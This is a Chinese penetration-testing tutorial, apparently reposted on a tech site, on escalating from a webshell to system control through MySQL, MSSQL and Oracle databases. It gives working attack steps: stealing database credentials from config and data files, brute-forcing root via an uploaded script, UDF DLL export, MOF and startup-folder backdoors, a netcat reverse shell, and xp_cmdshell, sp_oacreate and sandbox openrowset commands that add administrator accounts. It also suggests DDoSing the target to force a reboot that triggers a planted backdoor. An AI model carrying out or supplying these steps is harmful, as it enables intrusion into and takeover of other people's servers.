60 权限提升-MYMSORA等SQL数据库提权

目录

      • 数据库应用提权在权限提升中的意义
      • WEB或本地环境如何探针数据库应用
      • 数据库提权权限用户密码收集等方法
      • 目前数据库提权对应的技术及方法等
    • 演示案例
      • Mysql数据库提权演示-脚本&MSF
      • 1.UDF提权知识点: (基于MYSQL调用命令执行函数）
      • 读取数据库存储或备份文件 (了解其数据库存储格式及对应内容)
      • 利用脚本暴力猜解 (了解数据库是否支持外联及如何开启外联）
      • 利用自定义执行函数导出dll文件进行命令执行
      • 2.MOF知识点: (基于MYSQL特性的安全问题）
      • 3.启动项知识点: (基于配合操作系统自启动)
      • 4.反弹知识点: (基于利用反弹特性命令执行)
    • MSSQL数据库提权演示-MSSQL客户端
      • 案例: MSSQL数据库提权演示-MSSQL客户端
      • 2.使用sp_oacreate进行提权
      • 3.使用SQL Server 沙盒提权
      • Oracle数据库提权演示-自动化工具
    • 涉及资源:

在这里插入图片描述
数据库提权在web和本地环境都能提权，它的核心是得到数据库的账号密码，也就是说你在web环境和本地环境，都能得到账号密码，都是可以尝试进行数据库提权的，上篇文章写的是借助系统层面的漏洞提权，这次讲的是借助服务器上数据库的一些东西

今天讲的是提权方法里面的数据库提权，也会包括数据库权限的获取

在利用系统溢出漏洞无果的情况下，可以采用数据库进行提权，但需要知道数据库提权的前提条件: 服务器开启数据库服务及获取到最高权限用户密码。除Access数据库外，其他数据库基本都存在数据库提权的可能。

数据库应用提权在权限提升中的意义

数据库提权不是建立在漏洞层面的提权方式，它是在漏洞没有办法的前提下采取数据库，因为数据库在服务器上的搭建是很常见的，很多服务器都有安装相关的服务

WEB或本地环境如何探针数据库应用

数据库提权只要得到数据库的账号密码就可以提权，所以在本地或web权限下面，都是可以进行的
我们先要进行探针，判断它有数据库的相关服务，我们可以利用端口扫描，通过命令看一下有没有开启相关的命令服务，或者其它方式，通过浏览一些文件和文件夹来判定它是否有安装相关数据库，只要判定出有对应的数据库之后，就可以进行添加

数据库提权权限用户密码收集等方法

收集主要是针对数据库的权限密码，寻找方式通过配置文件来获取数据库的账号密码，通过数据库的储存文件，将数据库的储存文件进行下载，然后进行还原里面的账号密码，通过相关的爆破脚本和工具，来进行密码的猜解，第四步就是用其它方式，一般我们在提权里面用配置文件和存储文件两种，第一种是最常见的，也是使用最广泛的，直接从相关的配置文件里面去得到账号密码

目前数据库提权对应的技术及方法等

前两步做到之后，我们就要进行分类，我们要把每个数据库提权方法和相关攻击过程有个大概的了解和操作，比如Mysql、mssql和oracle三个数据库的提权方式

演示案例

Mysql数据库提权演示-脚本&MSF

php加mysql的搭建组合，我们讲的权限提升是你的权限已经得到了，就是个webshell权限，根据这个webshell权限提升到服务器权限，那么借助的就是数据库提权，我们先进入到后门里面去，然后后面我们就尝试用这个后门进行提权
在这里插入图片描述
在这里插入图片描述
我们进去之后第一步就是服务探针，看一下有没有相关的数据库，然后这里可以进行命令的执行，或者通过端口扫描，把一些常见的端口进行扫描，oracle1521，sqlserver 1433，mysql 3306，pointbase 9092，DB2 5000，mongodb 27017，redis 6379，memcacheed 11211，可以判定出数据库在上面是否安装
在这里插入图片描述
这里很显然就是mysql，mysql重点的提权方式是udf，后面三种都是在udf失效的情况下选中的一个方式

mysql数据库在安装之后，成功继承系统权限，那么你取得mysql最高权限，root账号密码，mysql最高权限账号用户名是root，密码是自己设定的，你通过得到账号密码之后，建立mysql最高权限，调用dll文件执行命令、函数来实现对系统命令的调用执行，就是借助数据库自身的应用来调用系统命令，从而实现提权

信息收集就是收集数据库当前的用户名和密码，因为Mysql最高权限用户名是root，所以密码需要我们自己去找

流程: 服务探针-信息收集-提权利用-获取权限

1.UDF提权知识点: (基于MYSQL调用命令执行函数）

读取网站数据库配置文件 (了解其命名规则及查找技巧)
sql data inc config conn database common include等
通过关键字判定，来确定存放账号密码配置信息的文件
在这里插入图片描述
在这里插入图片描述
这种方法是最常见的，最实用的，直接通过网站数据库的配置文件来获取的一种方式，主要是看网站源码的结果，通过命名的关键字，来判定是否是数据库的配置文件

如果在实战情况下面，我们会发现一个问题，你即使在数据库配置文件下面，打开之后，你会发现这个账号密码不是root，他这边可以把root进行修改，他可以用普通用户去修改这里，账号密码是普通用户，不是root，遇到这种情况可以选用下面的方法，就是我们要找到root账号密码才行，账号是root，密码任意
在这里插入图片描述

读取数据库存储或备份文件 (了解其数据库存储格式及对应内容)

@@basedir/data/数据库名/表名.myd
mysql数据库安装目录下面有个data，data目录下面有很多文件夹，然后每个文件夹下面有对应的三个文件，格式后缀跟它一样，每个文件夹对应的就是表，相当于你在数据库里面创建一个表，对应的就会产生一个表，并且数据和列名都会在这个文件里面，myd格式对应就会储存表里面的内容
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
myd文件就是用来储存数据的地方，文件夹的名字对应的就是数据库的名字
在这里插入图片描述
mysql数据库的密码是在mysql下的user，我们mysql下的root密码、数据库的管理员、数据库的用户密码，它是储存在mysql数据库下的user表，其中root就在这里，这个加密值可以直接放在网上进行一个破解的
在这里插入图片描述
在这里插入图片描述
对应的，我要找到数据，可以通过下载对应文件来获取myd里面的内容，来获取用户名账号密码，mysql文件夹，找对应的user.mvd

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
通过第二种方式直接找到数据库安装下面对应的user.mvd进行下载或者在线编辑进行查看，得到里面的账号密码，这是mysql的特性

利用脚本暴力猜解 (了解数据库是否支持外联及如何开启外联）

远程本地暴力猜解，服务器本地暴力猜解

暴力破解本身就是靠运气的东西，所以这个方式是以上两种方式不行的时候，选择的一种方式
一般mysql数据库里面root用户默认是不支持外联的，就是说你要采取root进行连接，他只支持本地连接，就是本机连接本机，不允许从外部进行连接这台数据库，指的就是root账户密码的连接方式，如果你要采取root连接的话，他默认是不支持外联的

如果我们要进行暴力破解，那么一般我们暴力破解需要用到脚本进行暴力破解，我们知道很多工具爆破，但是这些工具是放在自己的电脑上面，我是客户端，对方是服务器，你和他的连接属于外部连接，那么你要爆破他的账号密码，一般我们爆破的是root账号密码，由于root是不支持外联的，我们的爆破是没有意义的，因为这个root首先就不支持账号密码的外连，无论你怎么爆破都不成功，这个时候，我们就要用到脚本暴力破解，就是通过网站后门把爆破脚本上传上去
在这里插入图片描述
由于他网站是php的，所以我要选择php的爆破脚本，把别人写好的php爆破脚本写进去，把他放到对方服务器里面执行，就是说把脚本上传到网站页面上去，才能爆破脚本，由于脚本是建立在网站自身的服务器上面连接的，这种连接就属于本地连接，如果用工具，你是没有权限把工具放到服务器上面，你这个爆破如果他不支持外联是没有任何意义的
在这里插入图片描述
爆破工具很多，msf里面也有爆破工具，把爆破脚本上传到目标服务器上去，然后访问这个地址，把IP地址写上去，爆破成功
在这里插入图片描述
在这里插入图片描述
脚本爆破就是解决不外联的情况
使用msf爆破，寻找mysql，选择登录的payload
在这里插入图片描述
在这里插入图片描述
设置一下目标主机和密码，然后执行

在这里插入图片描述
在这里插入图片描述
这是它支持外联的情况，如果不支持外联，那肯定是不可以的

利用自定义执行函数导出dll文件进行命令执行

select version() select @@basedir
手工创建plugin目录或利用NTFS流创建
select ‘x’ into dumpfile ‘目录/lib/plugin::INDEX_ALLOCATION’
1.mysql<5.1 导出目录c:/windows或system32
2.mysql=>5.1 导出安装目录/lib/plugin/

得到密码之后，我们就要进行提权利用，我们优先选择udf提权，我们要重视两个问题，第一个先把mysql的版本搞清楚，小于5.1的话，将udf导出的时候，要导出到c:/windows或system32目录，如果是大于5.1的版本，导出数据库的安装目录/lib/plugin/，Mysql初次安装默认是没有/plugin目录的，需要你自己通过webshell去创建这个目录，这个导出目录是windows和linux通用的

执行sql语句就可以知道mysql的版本，点击后门里面的工具，执行sql功能，把账号密码写进去，点击显示版本，执行
在这里插入图片描述
查看数据库的安装目录
在这里插入图片描述
创建目录在这里插入图片描述
这个目录有了之后，就导出到这个目录

点击mysql提权，把目录记录下来并且复制上去，让他安装dll到上面去，你如果没有root账号，他是不能安装的，所以我们前提条件是要得到账号密码，没有这个账号密码，我们是没有权限导出dll文件的，点击安装

我们直接去webshell里面去浏览目录，看一下有没有dll文件，来判定他是否导出成功
在这里插入图片描述
在这里插入图片描述
导出成功之后，就可以通过调用执行相关的系统命令，比如添加用户账号密码，连接他的远程端口，来实现控制这台服务器，这个就是后续操作，就是创建个用户，然后添加为管理员者，连接3389远程端口，来控制这台windows远程服务器，如果是linux也差不多，连接他的ssh，所以这个就是udf提权

如果dll文件被调用成功之后，是不能删除的，如果能够删除，说明数据库上面有点问题，实战情况下面一般是导出就能用了

mysql数据库UDF提权，权限是administrator权限，不应该是system权限吗

这个是看mysql安装的时候，mysql如果是phpstudy软件安装的，不是我这个用户在网站下载的，所以它是administrator，它是phpstudy软件自带的mysql，提前已经打包好进去了，不是安装版本的

2.MOF知识点: (基于MYSQL特性的安全问题）

导出自定义mof文件到系统目录加载https://www.cnblogs.com/xishaonian/p/6384535.html

select load_file('C:/phpStudy/PHPTutorial/WWW/user_add.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mof提权是成功机率最低的一种，他有一些限制，不是很推荐大家的使用
在这里插入图片描述
失败的原因有很多种，关键目录写不到c:/windows/system32/下面，目录无法替换，第二种原因是各种各样的防护软件拦截，所以它的成功机率不是很高，而且他也是被动的提权，他需要等待时间，能不能成功说不准，这种提权是Mysql提权里面不推荐的一种

3.启动项知识点: (基于配合操作系统自启动)

导出自定义可执行文件到启动目录配合重启执行
将创建好的后门或执行文件进行服务器启动项写入，配合重启执行!

服务器操作系统在重启之后，会加载一些文件，这个文件我们称之为自启动文件，比如电脑启动之后，我们可以通过配置让它自动启动QQ、微信，同样的道理，我们的电脑上面有很多自启动项目，他通过Mysql权限，导出自定义的可执行文件，到启动目录，来配合服务器的重启，然后重启之后，会加载可执行文件，从而这个可加载文件一旦被执行，可执行文件可能是后门、执行的相关cmd命令、系统命令

寻找服务器上的启动目录
在这里插入图片描述
他就会在这里将你的后门，写到这个启动项里面，你服务器重启之后，就会加载这个文件，exe文件就会被执行，这个exe可以为一个后门，我们常说的cs后门，或者远程控制后门，简简单单的执行命令，搞个bat文件，服务器在重启之后，就会调用bat里面的命令，实现我们的操作。这个启动项，可以利用sql命令，也可以利用到相关命令

我们使用msf进行提权操作，要确保他的外联是开启状态，因为msf去攻击这台Mysql主机，如果你的数据库外联是没有开启的话，默认它的root是关闭的，我们拿到它root的密码之后，通过sql命令把外联开启，然后再用mysql进行启动项的提权

点击开启外联，把密码改一下，这条命令的意思是给予所有权限，来自任意IP，对应root用户，密码是root的
开启外联之后，我们就可以远程连接到mysql数据库

利用msf进行Mysql提权的时候，外联是一定要开的，开不了，msf进行攻击的时候，连都连接不上去，根本就无法进行提权
在这里插入图片描述
在这里插入图片描述
这就是类似一个后门，服务器重启之后，就会加载这个后门
在这里插入图片描述
利用ddos把对方的流量打光，流量攻击一旦把流量打光，流量崩溃了，服务器就会自动重启，因为它重启之后，文件被正常执行，后门就会被触发，远控木马直接被执行，这时候CS就可以上线

4.反弹知识点: (基于利用反弹特性命令执行)

nc -l -p 5577

我监听我本地的5577端口，这个时候借助反弹提权
在这里插入图片描述
创建反弹函数，创建完之后，执行
在这里插入图片描述
可以看到这里直接收到会话，来自命令终端的
在这里插入图片描述
在这里插入图片描述
内网中最常见的方式就是建立隧道和反弹，如果你没有一台外网主机的话，很多操作是会受到很大限制的

MSSQL数据库提权演示-MSSQL客户端

sqlserver是微软官方自带的数据库，只能在windows上应用，linux是没有的，这和它处理方式有关，因为sqlserver是微软的，它是windows特有产品，所以linux上没有

现在主流的是sqlserver2008和2012，还有2016的

案例: MSSQL数据库提权演示-MSSQL客户端

流程: 服务探针-信息收集-提权利用-获取权限

1.使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用ep_configure重修开启它。

mysql最高权限是root，mssql最高权限是sa，sqlserver数据库和Mysql数据库有个最大的区别是mssql的sa密码一般是默认支持外联的，这个客户端你安装个mssql就有了，这是它官方的东西，你也可以用它网上连接的客户端也可以的，比如navicat，但是还是推荐大家用官方的会比较好一点
在这里插入图片描述
在这里插入图片描述
连接上去之后，我们首先看它有没有xp_cmdshell，点击系统数据库>master>可编程性>扩展存储过程>系统扩展存储过程
在这里插入图片描述
它其实就是借助sys.xp_cmdshell来执行命令的，但是有不代表它就能调用成功
在这里插入图片描述
点击新建查询
启用:

EXEC sp_configure 'show advanced options',1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

在这里插入图片描述

关闭:

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',0;
reconfigure;

执行:

EXEC master.dbo.xp_cmdshell '命令'

想执行什么命令就执行什么命令
在这里插入图片描述
在这里插入图片描述

如果xp_cmdshell被删除了，可以上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Programfiles\Microsoft SQL Server\MssqI\Binn\xplog70.dll'

我们就看xp_cmdshell有没有开，有没有关，它关了，你就把它开了，然后你再执行命令就可以了

2.使用sp_oacreate进行提权

主要是用来调用OLE对象，其实就是自身数据库的特性，利用OLE对象的run方法执行系统命令。
启用:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'ole Automation Procedures',1;
RECONFIGURE WITH OVERRIDE;

在这里插入图片描述

关闭:

EXEC sp_configure 'show advanced options',1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'ole Automation Procedures',0;
RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output  exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

在这里插入图片描述
解决回显问题，因为执行之后，有些结果不给予回显，所以把结果写到服务器的那个盘符，然后你在通过webshell权限对这个结果进行返回读取，来看一下执行的结果
在这里插入图片描述

3.使用SQL Server 沙盒提权

前面两种是借助系统自身的组件，沙盒类似于虚拟机，模拟自身真实环境，我们在进行木马运行的时候，可以把它放到沙盒里面去运行

mssql自身有个沙盒，有个安全运行环境，我们可以借助任意环境来进行运行，在沙盒里面它是允许一些敏感的东西被运行，我们借助沙盒来执行一些敏感的东西，因为上述这些敏感的东西，都是可以调用命令执行的，所以它在高版本禁用它，就是为了安全性，但是又由于它自身又有沙盒，所以沙盒的存在意义，就是为一些高风险的操作，提供一个执行的环境，所以我们就可以利用沙盒来执行
参考资料: https://blog.51cto.com/11797152/2411770

exec sp_configure 'show advanced options',1;reconfigure;
-- 不开启的话在执行xp_regwrite会提示让我们开启

在这里插入图片描述

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--关闭沙盒模式，如果一次执行全部代码有问题，先执行上面两句代码。

在这里插入图片描述

exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查询是否正常关闭，经过测试发现沙盒模式无论是开，还是关，都不会影响我们执行下面的语句。

exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode'
--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user margin margin /add”)')

在这里插入图片描述
在这里插入图片描述

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localqroup administratora margin /add")')

这些语句按照上面来就可以了，没必要懂这些原理，你知道怎么提权就可以
沙盒提权是建立在前面两种提权方式执行不了的情况下，进行的最终方案，沙盒提权能够解决sqlserver提权绝大部分的问题，一般前面两个操作不了的时候，在启用沙盒提权

沙盒模式SandBoxMode参数合义 (默认是2)
‘0’: 在任何所有者中禁止启用安全模式
‘1’: 为仅在允许范围内
‘2’: 必须在access模式下
‘3’: 完全开启
openrowset是可以通过OLE DB访问SQL Server数据库，OLE DB是应用程序链接到SQL Server的的驱动程序。
–恢复配置

--exec master..xp_regwrite
'HKEY_IOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','sandBoxMode','REG_DWORD',1;
--exec sp_configure 'Ad Hoc Distributed Queries',O;reconfigure;

Oracle数据库提权演示-自动化工具

普通用户模式:
前提是拥有一个普通的oracle连接账号，不需要DBA权限，可提权至DBA，并以oracle实例运行的权限执行操作系统命令。

DBA用户模式: (自动化工具演示)
拥有DBA账号密码，可以省去自己手动创建存储过程的繁琐步骤，一键执行测试。

注入提升模式: (sqlmap测试演示)
拥有一个oracle注入点，可以通过注入点直接执行系统命令，此种模式没有实现回显，需要自己验证。

oracle搭建的组合一般是jsp和java开发环境，如果是jsp的网站有后门，不需要提权，自带system权限，网站权限就是系统权限，这个是jsp本身脚本的继承性
这套jsp程序存在注入点，我们对注入点进行注入的时候
在这里插入图片描述
我们用sqlmap跑一下，判断一下系统是不是dba权限
在这里插入图片描述
可以看到确实是dba权限
在这里插入图片描述
这个是oracle提权工具，非常简单，方便
在这里插入图片描述
我们刚才在注入点已经判定是dba了，也就是说当前这个东西是dba权限，对应写上去，点击连接
在这里插入图片描述
在这里插入图片描述
利用这个工具直接提权，没有什么东西可讲，具体原理，可以网上查资料，我们讲的是方法

jsp网站、oracle搭建组合的特性，继承有系统权限，所以它不需要提权，直接连上去操作就完事了

oracle工具不支持post注入，那个工具主要是用来提权，注入是可以用sqlmap来解决的

mysql，mssql、oracle是目前比较主流的，你说的redis、DB2的确现在也有，但是还是mysql、mssql、oracle居多，很多以前的老企业是用mssql，后面用oracle的也多，mysql也有点份额，redis和其它的就是特殊应用里面才会有，它虽然说比其它数据库比较先进，但它是有特殊的网站应用，可能会用到这些数据库

涉及资源:

http://www.zzvips.com/article/79791.html
https://www.cnblogs.com/xishaonian/p/6384535.html
https://blog.51cto.com/u_11797152/2411770

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/152585.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

GaussDB新特性Ustore存储引擎介绍

GaussDB新特性Ustore存储引擎介绍

1、 Ustore和Astore存储引擎介绍 Ustore存储引擎&#xff0c;又名In-place Update存储引擎&#xff08;原地更新&#xff09;&#xff0c;是openGauss 内核新增的一种存储模式。此前的版本使用的行存储引擎是Append Update&#xff08;追加更新&#xff09;模式。相比于Append…
阅读更多...
在网络攻击之前、期间和之后应采取的步骤

在网络攻击之前、期间和之后应采取的步骤

在当今复杂的威胁形势下&#xff0c;网络攻击是不可避免的。 恶意行为者变得越来越复杂&#xff0c;出于经济动机的攻击变得越来越普遍&#xff0c;并且每天都会发现新的恶意软件系列。 这使得对于各种规模和跨行业的组织来说&#xff0c;制定适当的攻击计划变得更加重要。 …
阅读更多...
【Linux】进程间通信 -- 管道

【Linux】进程间通信 -- 管道

对于进程间通信的理解 首先&#xff0c;进程间通信的本质是&#xff0c;让不同的进程看到同一份资源&#xff08;这份资源不能隶属于任何一个进程&#xff0c;即应该是共享的&#xff09;。而进程间通信的目的是为了实现多进程之间的协同。 但由于进程运行具有独立性&#xff…
阅读更多...
密码加密解密之路

密码加密解密之路

1.背景 做数据采集&#xff0c;客户需要把他们那边的数据库连接信息存到我们系统里&#xff0c;那我们系统就要尽可能的保证这部分数据安全&#xff0c;不被盗。 2.我的思路 1.需要加密的地方有两处&#xff0c;一个是新增的时候前端传给后端的时候&#xff0c;一个是存到数…
阅读更多...
异步爬取+多线程+redis构建一个运转丝滑且免费http-ip代理池 (三)

异步爬取+多线程+redis构建一个运转丝滑且免费http-ip代理池 (三)

内容提要: 如果说,爬取网页数据的时候,我们使用了异步,那么将数据放入redis里面,其实也需要进行异步;当然,如果使用多线程或者redis线程池技术也是可以的,但那会造成冗余; 因此,在测试完多线程redis搭配异步爬虫的时候,我发现效率直接在redis这里被无限拉低下来! 因此: 最终的r…
阅读更多...
从0开始学习JavaScript--JavaScript中的集合类

从0开始学习JavaScript--JavaScript中的集合类

JavaScript中的集合类是处理数据的关键&#xff0c;涵盖了数组、Set、Map等多种数据结构。本文将深入研究这些集合类的创建、操作&#xff0c;以及实际应用场景&#xff0c;并通过丰富的示例代码&#xff0c;帮助大家更全面地了解和应用这些概念。 数组&#xff08;Array&…
阅读更多...
SystemVerilog学习 （11）——覆盖率

SystemVerilog学习 （11）——覆盖率

目录 一、概述 二、覆盖率的种类 1、概述 2、分类 三、代码覆盖率 四、功能覆盖率 五、从功能描述到覆盖率 一、概述 “验证如果没有量化&#xff0c;那么就意味着没有尽头。” 伴随着复杂SoC系统的验证难度系数成倍增加&#xff0c;无论是定向测试还是随机测试&#xff…
阅读更多...
安全框架springSecurity+Jwt+Vue-1(vue环境搭建、动态路由、动态标签页)

安全框架springSecurity+Jwt+Vue-1(vue环境搭建、动态路由、动态标签页)

一、安装vue环境&#xff0c;并新建Vue项目 ①&#xff1a;安装node.js 官网(https://nodejs.org/zh-cn/) 2.安装完成之后检查下版本信息&#xff1a; ②&#xff1a;创建vue项目 1.接下来&#xff0c;我们安装vue的环境 # 安装淘宝npm npm install -g cnpm --registryhttps:/…
阅读更多...
软件测试/测试开发/人工智能丨基于Spark的分布式造数工具：加速大规模测试数据构建

软件测试/测试开发/人工智能丨基于Spark的分布式造数工具：加速大规模测试数据构建

随着软件开发规模的扩大&#xff0c;测试数据的构建变得越来越复杂&#xff0c;传统的造数方法难以应对大规模数据需求。本文将介绍如何使用Apache Spark构建分布式造数工具&#xff0c;以提升测试数据构建的效率和规模。 为什么选择Spark&#xff1f; 分布式计算&#xff1a;…
阅读更多...
easyExcel注解详情

easyExcel注解详情

前言11个注解字段注解 类注解基础综合示例补充颜色总结 11个注解 ExcelProperty ColumnWith 列宽 ContentFontStyle 文本字体样式 ContentLoopMerge 文本合并 ContentRowHeight 文本行高度 ContentStyle 文本样式 HeadFontStyle 标题字体样式 HeadRowHeight 标题高度 HeadStyle…
阅读更多...
Python将原始数据集和标注文件进行数据增强（随机仿射变换），并生成随机仿射变换的数据集和标注文件

Python将原始数据集和标注文件进行数据增强（随机仿射变换），并生成随机仿射变换的数据集和标注文件

Python将原始数据集和标注文件进行数据增强&#xff08;随机仿射变换&#xff09;&#xff0c;并生成随机仿射变换的数据集和标注文件 前言前提条件相关介绍实验环境生成随机仿射变换的数据集和标注文件代码实现输出结果 前言 由于本人水平有限&#xff0c;难免出现错漏&#x…
阅读更多...
OpenCV快速入门：图像滤波与边缘检测

OpenCV快速入门：图像滤波与边缘检测

文章目录 前言一、噪声种类与生成1.1 椒盐噪声1.2 高斯噪声1.3 彩色噪声 二、卷积操作2.1 卷积基本原理2.2 卷积操作代码实现 三、线性滤波3.1 均值滤波均值滤波原理均值滤波公式均值滤波代码实现 3.2 方框滤波方框滤波原理方框滤波公式方框滤波代码实现 3.3 高斯滤波高斯滤波原…
阅读更多...
redis非关系型数据库（缓存型数据库）——中间件

redis非关系型数据库（缓存型数据库）——中间件

【重点】redis为什么这么快&#xff1f;&#xff08;应届&#xff09; ①redis是纯内存结构&#xff0c;避免磁盘I/O的耗时 ②redis核心模块是一个单进程&#xff0c;减少线程切换和回收线程资源时间 ③redis采用的是I/O的多路复用机制&#xff08;每一个执行线路可以同时完…
阅读更多...
npm install 下载不下来依赖解决方案

npm install 下载不下来依赖解决方案

背景 最近在构建 前端自动化部署 的方案中发现了一个问题&#xff0c;就是我在npm install的时候&#xff0c;有时候成功&#xff0c;有时候不成功&#xff0c;而且什么代码也没发生更改&#xff0c;报错也就是那么几个错&#xff0c;所以在此也整理了一下遇到这种情况&#xf…
阅读更多...
如何使用 WPF 应用程序连接 FastReport报表

如何使用 WPF 应用程序连接 FastReport报表

随着期待已久的FastReport WPF的发布&#xff0c;您不再需要使用 FastReport .NET 来处理基于 WPF 的项目。 不久前&#xff0c;在 FastReport .NET 中使用 WPF 还相当不方便。并非一切都进展顺利&#xff1b;连接 FastReport.dll 和许多其他问题存在问题。我们重新思考了该方…
阅读更多...
2023年中职“网络安全“—Web 渗透测试①

2023年中职“网络安全“—Web 渗透测试①

2023年中职"网络安全"—Web 渗透测试① Web 渗透测试任务环境说明&#xff1a;1.访问地址http://靶机IP/task1&#xff0c;分析页面内容&#xff0c;获取flag值&#xff0c;Flag格式为flag{xxx}&#xff1b;2.访问地址http://靶机IP/task2&#xff0c;访问登录页面。…
阅读更多...
面试题c/c++--语言基础

面试题c/c++--语言基础

一 、语言基础 1.1 指针 野指针&#xff1a;指针指向的位置是不可知的 悬空指针&#xff1a;指针最初指向的内存已经被释放了的一种指针 两种指针都指向无效内存空间&#xff0c; 即不安全不可控 。需要在定义指针后且在使用之前完成初始化或者使用 智能指针来避免 智能指针 智…
阅读更多...
获取阿里云Docker镜像加速器

获取阿里云Docker镜像加速器

1、阿里云官网&#xff08;www.aliyun.com&#xff09;注册账号 2、打开“控制台首页” 控制台首页地址&#xff1a;https://home.console.aliyun.com/home/dashboard/ProductAndService 3、点击“概览->容器镜像服务 ACR” 4、打开“镜像工具->镜像加速器”页面&#x…
阅读更多...
【grafana ｜ clickhouse】实现展示多折线图

【grafana ｜ clickhouse】实现展示多折线图

说明&#xff1a; 采用的是 Visualizations 的 Time series&#xff0c;使用的 clickhouse 数据源 在工作中遇到了一个需求&#xff0c;写好了代码&#xff0c;需要在grafana上展示在一个项目中所有人的&#xff0c;随时间的代码提交量变化图 目前遇到的问题&#xff1a;展示…
阅读更多...
FFmpeg常用命令行讲解及实战一

FFmpeg常用命令行讲解及实战一

文章目录 前言一、学习资料参考二、FFmpeg 选项1、主要选项①、主要命令选项②、举例 2、视频选项①、主要命令选项②、举例1&#xff09;提取固定帧2&#xff09;禁止输出视频3&#xff09;指定视频的纵横比 3、音频选项①、主要命令选项②、举例 4、字幕选项①、主要命令选项…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023